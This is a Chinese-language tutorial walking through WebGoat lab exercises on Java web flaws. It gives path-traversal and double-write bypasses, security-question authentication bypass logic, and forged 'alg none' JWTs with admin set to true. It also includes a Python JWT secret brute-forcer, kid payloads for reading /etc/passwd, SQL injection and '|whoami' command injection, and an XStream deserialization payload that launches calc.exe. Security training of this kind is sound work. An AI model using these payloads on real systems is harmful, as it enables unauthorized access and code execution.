WEB攻防-JAVAWEB项目常见漏洞

知识点

1.JavaWeb常见安全及代码逻辑
2.目录遍历&身份验证&逻辑&JWT
3.访问控制&安全组件&越权&三方组件

本篇主要了解以上问题在javaweb中的呈现,

第一个重点理解URL与javaweb代码框架的对应方式,java在没有代码的情况下是很难渗透的,下面的内容也是针对白盒的

第二个重点是JWT身份验证/攻击

JavaWeb-WebGoat靶场搭建使用

WebGoat简单介绍

WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。

参考链接:如何搭建 WebGoat 靶场保姆级教程(附链接)_webgoat搭建-CSDN博客

 启动/访问

//启动
java.exe -jar E:\webgoat-server-8.1.0.jar --server.port=8081
//访问
http://localhost:8081/WebGoat/login

案例0x01 目录遍历

路径(目录)遍历是一种漏洞,攻击者能够在应用程序运行位置之外访问或存储文件和目录。这可能会导致从其他目录读取文件,并且在文件上传时会覆盖关键系统文件。

路径遍历攻击的基本原理和步骤:

  1. 发现潜在漏洞:攻击者首先需要找到应用程序中可能允许用户指定文件路径的输入点。这通常包括文件上传、图片查看、文件下载、包含文件(如PHP的includerequire函数)等功能。

  2. 构建恶意输入:攻击者会构造一个包含特殊路径字符的输入字符串,如../../etc/passwd。这个字符串的目的是向上遍历目录树,并尝试访问不应该被公开的文件(在这个例子中,是UNIX系统的/etc/passwd文件,它包含了系统上所有用户的信息)。

  3. 发送请求:攻击者将构造好的恶意输入发送给Web应用程序。这通常是通过HTTP请求中的GET或POST参数、URL路径、HTTP头或其他输入机制来完成的。

  4. 应用程序处理:如果应用程序没有正确地验证或清理用户输入,它会将恶意输入当作有效的文件路径来处理。应用程序可能会尝试打开、读取或包含这个路径指向的文件。

  5. 敏感操作:如果应用程序成功地打开了攻击者指定的文件,并返回了文件内容,那么攻击者就成功地执行了路径遍历攻击。他们现在可以查看、下载或利用这些敏感信息来进一步攻击系统。

案例:WebGoat(A1)Injection--> Path traversal第二关

题目要求上传到Pathtraversal这个路径

通过BurpSuite抓包获取到URL

 对jar包解压,并使用IDEA打开,找到对应的包反编译,只要把包添加到库就可以查看到源码

无论是社区版 IDEA,还是专业版 IDEA,都自带了反编译插件 Java Bytecode Decompiler。没有自行下载

找到 ProfileUpload,可以看到我们访问的路由

    @PostMapping(
        value = {"/PathTraversal/profile-upload"},
        consumes = {"*/*"},
        produces = {"application/json"}
    )
    @ResponseBody
    public AttackResult uploadFileHandler(@RequestParam("uploadedFile") MultipartFile file, @RequestParam(value = "fullName",required = false) String fullName) {
        return super.execute(file, fullName);
    }

 IDEA使用ctrl+鼠标左键选择execute函数来追踪super.execute函数,可以看到execute 接收一个 MultipartFile 对象(用于表示上传的文件)和一个 String 类型的 fullName,"/PathTraversal/" + this.webSession.getUserName() 被附加到基础目录上,以构建用户特定的上传目录。new File(uploadDirectory, fullName) 来创建 uploadedFile 时,实际上是在构建一个指向特定文件路径的 File 对象。在这个上下文中,uploadDirectory 是一个 File 对象,它代表了目录的路径,而 fullName 是一个字符串,它包含了在该目录下创建或引用的文件的完整名称

 protected AttackResult execute(MultipartFile file, String fullName) {
        if (file.isEmpty()) {
            return this.failed(this).feedback("path-traversal-profile-empty-file").build();
        } else if (StringUtils.isEmpty(fullName)) {
            return this.failed(this).feedback("path-traversal-profile-empty-name").build();
        } else {
            File uploadDirectory = new File(this.webGoatHomeDirectory, "/PathTraversal/" + this.webSession.getUserName());
            if (uploadDirectory.exists()) {
                FileSystemUtils.deleteRecursively(uploadDirectory);
            }

            try {
                uploadDirectory.mkdirs();
                File uploadedFile = new File(uploadDirectory, fullName);
                uploadedFile.createNewFile();
                FileCopyUtils.copy(file.getBytes(), uploadedFile);
                return this.attemptWasMade(uploadDirectory, uploadedFile) ? this.solvedIt(uploadedFile) : this.informationMessage(this).feedback("path-traversal-profile-updated").feedbackArgs(new Object[]{uploadedFile.getAbsoluteFile()}).build();
            } catch (IOException var5) {
                return this.failed(this).output(var5.getMessage()).build();
            }
        }

发送原数据包,结合代码可以看到路径有安装路径+PathTraversal+用户名+Fullname组成

而在上下文代码中没找到类似过滤特殊字符如../的代码,而题目要求上传到安装路径下的PathTraversal目录下,也就是与“用户名”目录同级,也就是test的上一级目录,尝试修改数据包让他上传到上一级目录

BurpSuite中放包并拦截响应可以看到上传通过了

攻击手段就是通过../路径可以贯穿整个目录遍历攻击,比如需要上传到上两级../../

第三关类似,但做了单次过滤../

抓包 看下URL找到对应的包

    @PostMapping(
        value = {"/PathTraversal/profile-upload-fix"},
        consumes = {"*/*"},
        produces = {"application/json"}
    )
    @ResponseBody
    public AttackResult uploadFileHandler(@RequestParam("uploadedFileFix") MultipartFile file, @RequestParam(value = "fullNameFix",required = false) String fullName) {
        return super.execute(file, fullName != null ? fullName.replace("../", "") : "");
    }

可以看到参数改成了 fullNameFix,增加了单次过滤fullName.replace("../", "") : "");

考虑双写绕过

案例0x02 身份认证绕过

 身份绕过漏洞通常存在于系统的身份验证机制中,可能由于系统配置错误、代码实现缺陷或逻辑漏洞等原因导致。攻击者如果能够成功利用这类漏洞,就可以获得本不应有的系统访问权限,进而可能导致数据泄露、系统被篡改或其他严重后果。

案例:WebGoat(A2)Broken Authentication-->Authentication Bypasses第二关

抓包获取URL找到对应的包

 

    @PostMapping(
        path = {"/auth-bypass/verify-account"},
        produces = {"application/json"}
    )
    @ResponseBody
    public AttackResult completed(@RequestParam String userId, @RequestParam String verifyMethod, HttpServletRequest req) throws ServletException, IOException {
        AccountVerificationHelper verificationHelper = new AccountVerificationHelper();
        Map<String, String> submittedAnswers = this.parseSecQuestions(req);
        if (verificationHelper.didUserLikelylCheat((HashMap)submittedAnswers)) {
            return this.failed(this).feedback("verify-account.cheated").output("Yes, you guessed correctly, but see the feedback message").build();
        } else if (verificationHelper.verifyAccount(Integer.valueOf(userId), (HashMap)submittedAnswers)) {
            this.userSessionData.setValue("account-verified-id", userId);
            return this.success(this).feedback("verify-account.success").build();
        } else {
            return this.failed(this).feedback("verify-account.failed").build();
        }
    }

可以看到访问入口调用了AccountVerificationHelper包的didUserLikelylCheat函数verificationHelper包的verifyAccount,并通过返回值作为判断条件,而只有verificationHelper包的verifyAccount返回ture才会通过认证,首先追踪到didUserLikelylCheat函数这个函数,看下如何构造才能是他返回false跳过这个判断进入verifyAccount

    public boolean didUserLikelylCheat(HashMap<String, String> submittedAnswers) {
        boolean likely = false;
        if (submittedAnswers.size() == ((Map)secQuestionStore.get(verifyUserId)).size()) {
            likely = true;
        }

        if (submittedAnswers.containsKey("secQuestion0") && ((String)submittedAnswers.get("secQuestion0")).equals(((Map)secQuestionStore.get(verifyUserId)).get("secQuestion0")) && submittedAnswers.containsKey("secQuestion1") && ((String)submittedAnswers.get("secQuestion1")).equals(((Map)secQuestionStore.get(verifyUserId)).get("secQuestion1"))) {
            likely = true;
        } else {
            likely = false;
        }

        return likely;
    }

这里主要做了两个判断

  1. 检查答案数量
  • 如果 submittedAnswers 的大小与从 secQuestionStore 获取的对应用户答案的 Map 的大小相同,则 likely 被设置为 true。  
  1. 检查答案是否匹配
  • if-else语句检查submittedAnswers是否包含两个特定的问题("secQuestion0""secQuestion1")的答案,并且这些答案是否与从secQuestionStore中检索到的答案相匹配。如果两个答案都匹配,则将likely设置为true;否则,将其设置为false。这里的问题是,即使只有一个答案不匹配,likely也会被设置为false

 根据逻辑分析,只要"secQuestion0""secQuestion1"和secQuestionStore的答案不一致或者键名"secQuestion0""secQuestion1"不存在就能返回flase

    static {
        userSecQuestions.put("secQuestion0", "Dr. Watson");
        userSecQuestions.put("secQuestion1", "Baker Street");
        secQuestionStore = new HashMap();
        secQuestionStore.put(verifyUserId, userSecQuestions);
    }

再看verificationHelper包的verifyAccount函数

    public boolean verifyAccount(Integer userId, HashMap<String, String> submittedQuestions) {
        if (submittedQuestions.entrySet().size() != ((Map)secQuestionStore.get(verifyUserId)).size()) {
            return false;
        } else if (submittedQuestions.containsKey("secQuestion0") && !((String)submittedQuestions.get("secQuestion0")).equals(((Map)secQuestionStore.get(verifyUserId)).get("secQuestion0"))) {
            return false;
        } else {
            return !submittedQuestions.containsKey("secQuestion1") || ((String)submittedQuestions.get("secQuestion1")).equals(((Map)secQuestionStore.get(verifyUserId)).get("secQuestion1"));
        }
    }
  1. 检查答案数量:如果 submittedQuestions 的大小与从 secQuestionStore 中根据 verifyUserId 获取的映射的大小不同,则返回 false
  2. 检查特定答案:如果 submittedQuestions 包含 "secQuestion0" 但其值与从 secQuestionStore 中获取的相应值不同,则返回 false
  3. 检查第二个答案:如果 submittedQuestions 不包含 "secQuestion1" 或者包含但值与从 secQuestionStore 中获取的相应值相同,则返回 true

 可以看到第二个答案验证这里的逻辑,如果 "secQuestion1"键名不存在 则为false,取反得到true或者secQuestion1答案正确返回true

综上所述有两种情况可以绕过验证

  • secQuestion0能匹配,和secQuestion1不存在

  • secQuestion0和secQuestion1都不存在

JWT原理及常见攻击方式

JWT的全称是Json Web Token。它遵循JSON格式,将用户信息加密到token里,服务器不保存任何用户信息,只保存密钥信息,通过使用特定加密算法验证token,通过token验证用户身份。基于token的身份验证可以替代传统的cookie+session身份验证方法。 

传统token方式和jwt认证的差异

传统token方式

用户登录成功后,服务端生成一个随机token给用户,并且在服务端(数据库或缓存)中保存一份token,以后用户再来访问时需携带token,服务端接收到token之后,去数据库或缓存中进行校验token的是否超时、是否合法。

jwt方式:官网:jwt.io

用户登录成功后,服务端通过jwt生成一个随机token给用户(服务端无需保留token),以后用户再来访问时需携带token,服务端接收到token之后,通过jwt对token进行校验是否超时、是否合法。

JWT 令牌结构由三个部分组成,分别是 标头(Header)、有效载荷(Payload)、签名(Signature),并且由 "." 分割.

也就是 Header.Payload.Signature

JWT原理 

  • Header:固定包含算法和token类型,通常使用算法名称(如HMAC SHA256或RSA)来指定生成Signature的算法。对此json进行base64url加密,这就是token的第一段。

{
  "alg": "HS256",
  "typ": "JWT"
}
  • Payload:包含声明,声明是关于实体(通常是用户)和其他数据的声明,也可以自定义。对此json进行base64url加密,这就是token的第二段。

{
  "iss": "admin",
  "iat": 1616562692
}
  • Signature:对Header和Payload进行Base64编码后的结果,使用指定的密钥和算法进行加密,以确保JWT不可篡改。

把前两段的base密文通过.拼接起来,然后对其进行HS256加密,再然后对hs256密文进行base64url加密,最终得到token的第三段。

base64url(
      HMACSHA256(
             base64UrlEncode(header) + "." + base64UrlEncode(payload),
             your-256-bit-secret (秘钥加盐)
      )
)

简单JWT示例

 JWT攻击方式

  案例0x01 空加密算法 - WebGoat(A2)JWT tokens第四关

空加密算法的设计初衷是用于调试的,如果在生产环境中开启了空加密算法,缺少签名算法,jwt保证信息不被篡改的功能就失效了。

空加密算法,可以在header中指定alg为None,把签名设置为空(即不添加signature字段),这需要服务器(后端代码)支持不要秘钥签名(空模式加密)

选择一个用户,然后点击重置票数进行抓包

复制token到官网jwt.io解密 

修改Header中alg:HS512 修改为alg:none,把签名设置为空(即不添加signature字段)

修改Payload中admin:false 修改为admin:true,通过这个字段验证是不是管理员身份

分别将修改后由base64加密生成的密文对应的Header、Payload的格式拼接,注意不要带上 =号,jwt中没有 =号,拼接的时候不要漏了后面与signature间段的

ewogICJhbGciOiAibm9uZSIKfQ.

ewogICJpYXQiOiAxNzE3OTgxODU5LAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJKZXJyeSIKfQ. 

 burpsuite将token替换为我们伪造拼接出的token再发送,就成功验证管理员身份了

 

案例0x02 爆破密钥 - WebGoat(A2)JWT tokens第五关

题目要求尝试找出密钥并提交一个新密钥,并将用户名更改为 WebGoat。

不过对 JWT 的密钥爆破需要在一定的前提下进行:

  • 知悉JWT使用的加密算法
  • 一段有效的、已签名的token
  • 签名用的密钥不复杂(弱密钥)

所以其实JWT 密钥爆破的局限性很大。

相关工具:c-jwt-cracker

把JWT复制到jwt.io解密

因为这里只是为了测试,直接把秘钥复制到字典里

 

运行脚本爆破加密的秘钥

import jwt
import termcolor
if __name__ == "__main__":
    jwt_str = R'eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTcxNzExNTU2MSwiZXhwIjoxNzE3MTE1NjIxLCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.oWJIYFXYQCzviNcKZBqCS-fKZiPCqq8kXFiNVG2js7Q'
    with open('top1000.txt') as f:
        for line in f:
            key_ = line.strip()
            try:
                jwt.decode(jwt_str,algorithms=['HS256'], verify=True, key=key_)
                print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                break
            except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
                print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                break
            except jwt.exceptions.InvalidSignatureError:
                print('\r', ' ' * 64, '\r\btry', key_, end='', flush=True)
                continue
        else:
            print('\r', '\bsorry! no key be found.')

 回到jwt.io,输入秘钥并修改username为WebGoat

把伪造秘钥提交,显示无效JWT再试一次,红框中可以看出JWT过期了

回到jwt.io修改exp时间戳,改为一个未到的时间,再次复制伪造token提交,就成功通过了

修改KID参数

kid是jwt header中的一个可选参数,全称是key ID,它用于指定加密算法的密钥

{

    "alg" : "HS256",

    "typ" : "jwt",

    "kid" : "/home/jwt/.ssh/pem"

}

因为该参数可以由用户输入,所以也可能造成一些安全问题。

0x03 任意文件读取

kid参数用于读取密钥文件,但系统并不会知道用户想要读取的到底是不是密钥文件,所以,如果在没有对参数进行过滤的前提下,攻击者是可以读取到系统的任意文件的。

{

    "alg" : "HS256",

    "typ" : "jwt",

    "kid" : "/etc/passwd"

}

0x04 SQL注入

kid也可以从数据库中提取数据,这时候就有可能造成SQL注入攻击,通过构造SQL语句来获取数据或者是绕过signature的验证

{

    "alg" : "HS256",

    "typ" : "jwt",

    "kid" : "key11111111' || union select 'secretkey' -- "

}

0x05 命令注入

kid参数过滤不严也可能会出现命令注入问题,但是利用条件比较苛刻。如果服务器后端使用的是Ruby,在读取密钥文件时使用了open函数,通过构造参数就可能造成命令注入。

"/path/to/key_file|whoami"

对于其他的语言,例如php,如果代码中使用的是exec或者是system来读取密钥文件,那么同样也可以造成命令注入,当然这个可能性就比较小了。

0x06 第三方组件

WebGoat(A9)Vulnerable Components 第十二关

抓包获取下URL

 可以看到使用了第三方组件Xstream,一般通过信息收集知道第三方组件就可以查找的历史漏洞去复现

 这里题目已经告诉我们漏洞编号Exploiting CVE-2013-7285 (XStream),查找该编号漏洞复现

该漏洞主要是java反序列化造成的远程代码执行,上传以下代码可以启动计算器

<sorted-set>
 
<string>foo</string>
 
<dynamic-proxy>
 
<interface>java.lang.Comparable</interface>
 
<handler class="java.beans.EventHandler">
 
<target class="java.lang.ProcessBuilder">
 
<command>
 
<string>calc.exe</string> ——启动服务器的计算器
 
</command>
 
</target>
 
<action>start</action>
 
</handler>
 
</dynamic-proxy>
 
</sorted-set>

 

0x07 访问控制

-隐藏属性:前端页面选择性隐藏某些重要的信息,自卫限制显示

WebGoat (A5)Insecure Direct Object References第二关先登录

 WebGoat (A5)Insecure Direct Object References第三关

正常情况显示只可以查看三个参数

点击View Profile抓包可以看到五个属性

 根据URL找到对应的包

-水平越权:同一级别用户权限的查看

 比如,通过修改“userId”的值,就可以查看其他用户的个人信息。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/664424.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Echarts 让柱状图在图表中展示,离开X轴

文章目录 需求分析需求 分析 话不多说,直接源码展示 option = {title: {text: Waterfall Chart,subtext: Li

PDF高效编辑器革新:一键智能转换PDF至HTML,轻松开启文件处理全新时代!

信息爆炸的时代&#xff0c;PDF文件因其跨平台、不易修改的特性&#xff0c;成为了商务、教育、出版等领域不可或缺的文件格式。然而&#xff0c;PDF文件的固定性也带来了诸多不便&#xff0c;特别是在需要对其内容进行编辑或格式转换时。这时&#xff0c;一款高效、易用的PDF编…

旅游行业景点门票预订导游入驻攻略社区分享小程序开发

构建一款全新的旅游服务H5小程序&#xff0c;致力于为旅游行业提供全方位的旅游预订、导游服务、行程核销以及旅行见闻分享功能&#xff0c;为用户提供前所未有的便捷与愉悦体验。 以下是该小程序的核心功能概述&#xff1a; 用户端功能亮点&#xff1a; 账户管理多样化的注…

惠普发布最新财报,对AIPC寄予厚望

KlipC报道&#xff1a;5月29日&#xff0c;惠普发布了第二财季财报&#xff08;截止2024年4月30日&#xff09;&#xff0c;净营收128亿美元&#xff0c;同比下降0.8%&#xff0c;但是高于市场预期的126亿美元&#xff1b;净利润6亿美元同比下降42%。调整后美股净利0.82美元&am…

小白跟做江科大32单片机之按键控制LED

原理部分 1.LED部分使用的是这样的连接方式 2.传感器模块的电路图 滤波电容如果接地&#xff0c;一般用于滤波&#xff0c;在分析电路时就不用考虑。下面这个电路就是看A端和B端哪端的拉力大&#xff0c;就能把电压值对应到相应的电压值 比较器部分 如果A端电压>B端电压&am…

数据挖掘 | 实验三 决策树分类算法

文章目录 一、目的与要求二、实验设备与环境、数据三、实验内容四、实验小结 一、目的与要求 1&#xff09;熟悉决策树的原理&#xff1b; 2&#xff09;熟练使用sklearn库中相关决策树分类算法、预测方法&#xff1b; 3&#xff09;熟悉pydotplus、 GraphViz等库中决策树模型…

Ollama 本地大模型框架

该篇教程主要讲解*Ollama的安装和简单使用* Ollama&#xff1a; 在本地启动并运行大型语言模型。 主要流程目录&#xff1a; 1.安装 2.使用 2.1.下载模型 2.2.简单使用 2.3.中文模型 2.4.中文社区 3.总结 1.安装 创建一个容器 切换”高级视图“ 参考填写 ollama oll…

07.爬虫---使用session发送请求

07.使用session发送请求 1.目标网站2.代码实现 1.目标网站 我们以这个网站作为目标网站 http://www.360doc.com/ 注册用户 注册后从登录界面获取到这些信息 2.代码实现 import requestssession requests.Session() url http://www.360doc.com/ajax/login/login.ashx u…

Thingsboard物联网网关接入ThingsBoard物联网平台的操作说明

本文包含关于如何配置ThingsBoard 平台和连接钡铼技术R40设备的说明。ThingsBoard平台是一个用于数据收集、处理、可视化和设备管理的开源物联网平台。它通过行业标准MQTT协议实现设备连接。ThingsBoard结合了可扩展性、容错性和性能&#xff0c;因此您永远不会丢失数据。 4G L…

Java垃圾回收_1

一、垃圾回收 1.如何判断对象可以回收 &#xff08;1&#xff09;引用计数法 存在循环引用问题&#xff0c; Java未使用这种算法 在引用计数法中&#xff0c;每个对象都有一个引用计数器&#xff0c;记录着指向该对象的引用数量。当引用计数器为零时&#xff0c;表示没有任…

kali自带--DNS路由--信息搜集

目录 DNS信息搜集 whois fierce dnsenum 路由信息搜集 DNS信息搜集 whois whois 域名 --域名注册的时候填的基本信息. fierce 域名的多级域名? 搜索引擎-谷歌搜索 whois 枚举/递归查询 dnsenum dnsenum 域名 -f 文件名 路由信息搜集 icmp经常ping不通--所以kali出了个tcp的…

Maven简介和快速入门

1.1Maven介绍 Maven – Introduction (apache.org) Maven就是一个软件&#xff0c;掌握软件安装、配置、以及基本功能&#xff08;项目构建、依赖管理&#xff09;。 1.2Maven主要作用 1.依赖管理&#xff1a; Maven 可以管理项目的依赖&#xff0c;包括自动下载所需依赖库、…

【vscode免密连接云服务器】

目录&#xff1a; 前言1.1 生成 SSH 密钥对1.2 将公钥复制到远程服务器1.3配置remote ssh 插件信息 总结 前言 剑指offer&#xff1a;一年又120天 1.1 生成 SSH 密钥对 在本地cmd命令窗口执行: ssh-keygen -t rsa会提示你设置生成密钥的文件、密码等等&#xff0c;可以一路回…

数据资产价值如何评估?一文详解如何构建数据资产评估的综合框架

数据资产&#xff0c;如同其构成的数据本身&#xff0c;具备物理、存在和信息三重属性。数据资产的物理属性体现在其对存储空间的占用&#xff1b;其存在属性则体现在数据的可读取性上&#xff0c;若数据无法读取&#xff0c;则其作为资产的价值便无从体现。这两个属性共同构成…

IP地址在字符串形式、数字形式和byte数组中的转换

IP地址 ip地址,我们以ipv4为例,字符串形式为:“192.168.0.1”,可以转换成dword类型的数据: on key a {char ipv4AddrStr[16] = "192.168.0.1";//16进制:c0.a8.0.1dword ipv4AddrNum;ipv4AddrNum = ipGetAddressAsNumber(ipv4AddrStr);write("ipv4AddrNu…

Qt-qrencode生成二维码

Qt-qrencode开发-生成二维码&#x1f4c0; 文章目录 Qt-qrencode开发-生成二维码&#x1f4c0;[toc]1、概述&#x1f4f8;2、实现效果&#x1f4bd;3、编译qrencode&#x1f50d;4、在QT中引入编译为静态库的QRencode5、在Qt中直接使用QRencode源码6、在Qt中使用QRencode生成二…

【Unity知识点详解】Addressables的资源加载

今天来简单介绍一下Addressables&#xff0c;并介绍一下如何通过AssetName加载单个资源、如何通过Label加载多个资源、以及如何通过List<string>加载多个资源。由于Addressables的资源加载均为异步加载&#xff0c;所以今天给大家介绍如何使用StartCoroutine、如何使用As…

WHAT - 用户登录系列(二)- 单点登录 SSO

目录 一、认证机制1.1 基于会话的认证&#xff08;Session-based Authentication&#xff09;1. 介绍2. 基本流程 1.2 JSON Web Tokens (JWT)1. 介绍2. jwt 组成3. 基本流程4. 阻止列表5. 刷新令牌 二、单点登录&#xff1a;SSO2.1 单系统登录2.2 SSO 介绍2.3 SSO 登录2.4 SSO …

arcgis api for javascript点击获取要素错乱的问题

今天帮同事看了一个前端地图点击的问题&#xff1a;点击时总会获取到周边的图元&#xff0c;即使我点击线的周围&#xff0c;也是能获取到的&#xff0c;除非离得特别远。 地图组件用的是arcgis api, 图层类是grahicslayer,要素类型是线。这是添加图元的代码&#xff1a; grap…

STM32高级控制定时器之输入捕获模式

目录 概述 1 输入捕获模式 1.1 原理介绍 1.2 实现步骤 1.3 发生输入捕获流程 2 使用STM32Cube配置工程 2.1 软件环境 2.2 配置参数 2.3 生成项目文件 3 功能实现 3.1 PWM调制占空比函数 3.2 应用函数库 4 测试 4.1 功能框图 4.2 运行结果 源代码下载地址&#xf…